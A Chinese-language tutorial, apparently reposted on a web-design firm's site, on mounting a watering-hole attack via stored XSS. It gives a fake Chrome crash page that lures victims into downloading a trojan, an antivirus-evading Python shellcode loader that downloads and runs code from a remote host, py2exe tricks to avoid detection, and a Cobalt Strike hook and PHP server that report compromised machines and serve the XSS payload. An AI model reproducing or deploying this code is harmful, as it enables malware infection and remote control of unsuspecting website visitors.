怎么利用釣魚實(shí)現(xiàn)水坑攻擊

本篇內(nèi)容主要講解“怎么利用釣魚實(shí)現(xiàn)水坑攻擊”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強(qiáng)。下面就讓小編來(lái)帶大家學(xué)習(xí)“怎么利用釣魚實(shí)現(xiàn)水坑攻擊”吧!

成都創(chuàng)新互聯(lián)2013年開創(chuàng)至今,是專業(yè)互聯(lián)網(wǎng)技術(shù)服務(wù)公司,擁有項(xiàng)目成都網(wǎng)站制作、成都網(wǎng)站設(shè)計(jì)、外貿(mào)營(yíng)銷網(wǎng)站建設(shè)網(wǎng)站策劃,項(xiàng)目實(shí)施與項(xiàng)目整合能力。我們以讓每一個(gè)夢(mèng)想脫穎而出為使命,1280元瓊海做網(wǎng)站,已為上家服務(wù),為瓊海各地企業(yè)和個(gè)人服務(wù),聯(lián)系電話:028-86922220

一、簡(jiǎn)述

簡(jiǎn)單介紹一下概念:
1.XSS,wiki的解釋是一種代碼注入,所以能做的事情很多,不限于alert彈框(感覺很多人以為XSS就是彈框框,彈不出來(lái)就不認(rèn))、竊取Cookie之類的操作,下面要實(shí)現(xiàn)的水坑攻擊就是一種利用。

2.水坑攻擊,這個(gè)詞是來(lái)自動(dòng)物世界(果然,技術(shù)來(lái)自于生活),大意是說(shuō)鱷魚潛伏在水坑中等待獵物來(lái)喝水,當(dāng)獵物來(lái)進(jìn)食放松警惕時(shí)發(fā)起攻擊。對(duì)應(yīng)到網(wǎng)絡(luò)世界中就是攻擊者通過(guò)對(duì)用戶的行為進(jìn)行分析,在用戶的必經(jīng)之路上埋下陷阱,等待用戶中招。

怎么利用釣魚實(shí)現(xiàn)水坑攻擊怎么利用釣魚實(shí)現(xiàn)水坑攻擊

備注: 分析過(guò)了就是水坑攻擊,沒有就是釣魚,都無(wú)所謂,哈哈...

二、原理

原理:在目標(biāo)會(huì)訪問(wèn)的網(wǎng)站上,利用JS精心構(gòu)造頁(yè)面誘導(dǎo)用戶下載木馬。

前提條件:

  1. 需要一個(gè)存儲(chǔ)型的XSS,最好還擁有webshell的權(quán)限方便更改。

  2. 一個(gè)免殺木馬,免殺效果一定要有,總不能落地就被殺了吧

  3. 上線通知和自動(dòng)收桿插件,避免一直盯著頁(yè)面,上鉤后還要卸載頁(yè)面。

三、實(shí)現(xiàn)

過(guò)程:
1.利用JS寫一個(gè)誘導(dǎo)頁(yè)面,不要再用flash更新頁(yè)面了,都被人家玩剩很多年了...

我寫了兩個(gè)頁(yè)面,拋磚引玉,一個(gè)是模仿chrome瀏覽器崩潰后的頁(yè)面,另一個(gè)是使用layer的彈窗頁(yè)面。

代碼一,chrome瀏覽器崩潰頁(yè)面:

var body = document.body;
    var _left =  window.innerWidth * 0.3 + 'px';
    var _top = window.innerHeight * 0.3 + 'px';
    var _height = window.innerHeight
    body.innerHTML=`<div ><div style='position:absolute;top:${_top};left:${_left};height:300px;width:600px;'><img src='http://39.*.*.*/sdp.png' style='margin:3px;'>  <p><h4 >喔唷,崩潰啦!</h4></p >  <p style='color:gray'>顯示此網(wǎng)頁(yè)時(shí)出了點(diǎn)問(wèn)題,請(qǐng)?jiān)谀捻?yè)面上啟用顯示插件,從而可能會(huì)有所幫助。</br></p >  <a   >立即修復(fù)</button></a></div></div>`

效果圖一:
怎么利用釣魚實(shí)現(xiàn)水坑攻擊
(用戶點(diǎn)擊修復(fù)即會(huì)下載木馬)

代碼二,利用layer實(shí)現(xiàn)彈窗
可以看layer官方的演示代碼 https://layer.layui.com/

這個(gè)的具體內(nèi)容沒有寫,因?yàn)樾枰唧w頁(yè)面具體分析,大家可以自行發(fā)揮。

layui.use('layer', function() {
      var layer = layui.layer //彈層
      layer.open({
		  type: 1,
		  skin: 'layui-layer-rim', //加上邊框
		  area: ['420px', '240px'], //寬高
		  content: 'html內(nèi)容'
		});
    });

前提:需要先引入laye組件,在XSS注入時(shí),多引入一個(gè)script標(biāo)簽即可。

效果圖二:
怎么利用釣魚實(shí)現(xiàn)水坑攻擊
2.免殺
這里用到CS并且使用反序列化+分離免殺,參考大佬的文章:
https://mp.weixin.qq.com/s/sd73eL3-TnMm0zWLCC8cOQ

不要用pyinstaller打包,不然一定會(huì)報(bào)毒,推薦py2exe,但也有個(gè)問(wèn)題,就是編譯后不只一個(gè)文件,查了很多文檔也沒解決,最后測(cè)試發(fā)現(xiàn)只需要帶上libffi-7.dll即可,勉強(qiáng)能用。

怎么利用釣魚實(shí)現(xiàn)水坑攻擊
代碼(不一定非要用django,把shellcode分離開就行):

import pickle
import base64,requests

shellcode = """
import ctypes,urllib.request,codecs,base64

resp = requests.get("http://39.*.*.*/shellcode.txt")
base64_code =resp.content

shellcode = base64.b64decode(base64_code)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 設(shè)置VirtualAlloc返回類型為ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申請(qǐng)內(nèi)存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 創(chuàng)建一個(gè)線程從shellcode防止位置首地址開始執(zhí)行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面創(chuàng)建的線程運(yùn)行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""


class AAAA(object):
    def __reduce__(self):
        return (exec, (shellcode,))


ret = pickle.dumps(AAAA())
ret_base64 = base64.b64encode(ret)
ret_base32 = base64.b32encode(ret)

print(ret_base32)
print(ret_base64)
ret_decode = base64.b64decode(ret_base64)
import base64,pickle,ctypes,urllib.request,codecs,requests

ret = b'QACJKXQEAAAAAAAAACGAQYTVNFWHI2LOOOKIYBDFPBSWHFE3TNBSWY3DDN5SGKLTUPB2CEKIKMJQXGZJWG.......(略).........RPWG33EMUQD24TFONYY3PNZ2GK3TUBIFHG2DFNRW
GG33EMUQD2IDCMFZWKNRUFZRDMNDEMVRW6ZDFFBRGC='
ret_decode = base64.b32decode(ret)
# print(ret_decode)
pickle.loads(ret_decode)
from distutils.core import setup
import py2exe
setup(
    options={
        'py2exe': {
            'optimize': 2,
            'bundle_files': 1,
            'compressed': True,
        },
    },
    windows=[{"script": "test9.py",}],
    zipfile=None,
)

3.上線通知,自動(dòng)收桿

用到大佬的項(xiàng)目:
https://github.com/TheKingOfDuck/XSS-Fishing2-CS

整個(gè)過(guò)程最有意思的地方就在這里了:

大致原理是需要一個(gè)Server端,沒有上線的時(shí)候輸出xss惡意代碼,CS上線后會(huì)觸發(fā)事件執(zhí)行發(fā)送一個(gè)特殊的請(qǐng)求(攜帶上線用戶的IP的請(qǐng)求),取消xss惡意代碼,恢復(fù)正常,達(dá)到自動(dòng)收桿。

測(cè)試的時(shí)候發(fā)現(xiàn)上線提醒不好用,另外我需要的是企業(yè)微信的通知,將這部分功能移到了Server端。

具體代碼:
cs插件

on beacon_initial {
    $webhook = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=*****************************";
    local('$externalIP $computerName $userName');
    $externalIP = replace(beacon_info($1, "external"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");

    $message = 'New Bot Online: \n\n Computer name:'.$computerName.'\n\nUsername:'.$userName.'\n\nexternalIP:'.$externalIP;


	$xssApi = "http://39.*.*.*/xss.php?ip=".$externalIP;
    @curl_command = @('curl', '-X', 'GET', $xssApi);
    exec(@curl_command);


}

服務(wù)端PHP實(shí)現(xiàn):

<?php

$xssPayload = file_get_contents ("eval1.js");
$db = "botIPs.txt";

$ip = $_SERVER["REMOTE_ADDR"];
$botIP = @$_GET['ip'];

if ($botIP != 'NULL') {
    echo $botIP;
}
if (!is_null($botIP)) {
    $bots = fopen($db, "a") or die("Unable to open bots file!");
    fwrite($bots, base64_encode($botIP) . "\n");
    fclose($bots);

    $url = 'https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=********************';
    $data = array("msgtype" => "text", "text" => array("content" => "New Bot Online:" . $botIP));

    $postdata = json_encode($data);

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    $result = curl_exec($ch);
    curl_close($ch);
    print_r($result);

} else {

    if (file_exists($db)) {
        $line = file_get_contents($db);
        $botIPs = explode("\n", $line);
    }


    if (@in_array(base64_encode($ip), $botIPs)) {
        header('Content-type: text/javascript');
        echo "var hb;";
    } else {
        header('Content-type: text/javascript');
        echo $xssPayload;
    }
}
?>

效果:
怎么利用釣魚實(shí)現(xiàn)水坑攻擊

怎么利用釣魚實(shí)現(xiàn)水坑攻擊

到此,相信大家對(duì)“怎么利用釣魚實(shí)現(xiàn)水坑攻擊”有了更深的了解,不妨來(lái)實(shí)際操作一番吧!這里是創(chuàng)新互聯(lián)網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

文章題目:怎么利用釣魚實(shí)現(xiàn)水坑攻擊
URL網(wǎng)址:http://muchs.cn/article38/iepipp.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站導(dǎo)航、App設(shè)計(jì)、云服務(wù)器、網(wǎng)站策劃、自適應(yīng)網(wǎng)站品牌網(wǎng)站制作

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都做網(wǎng)站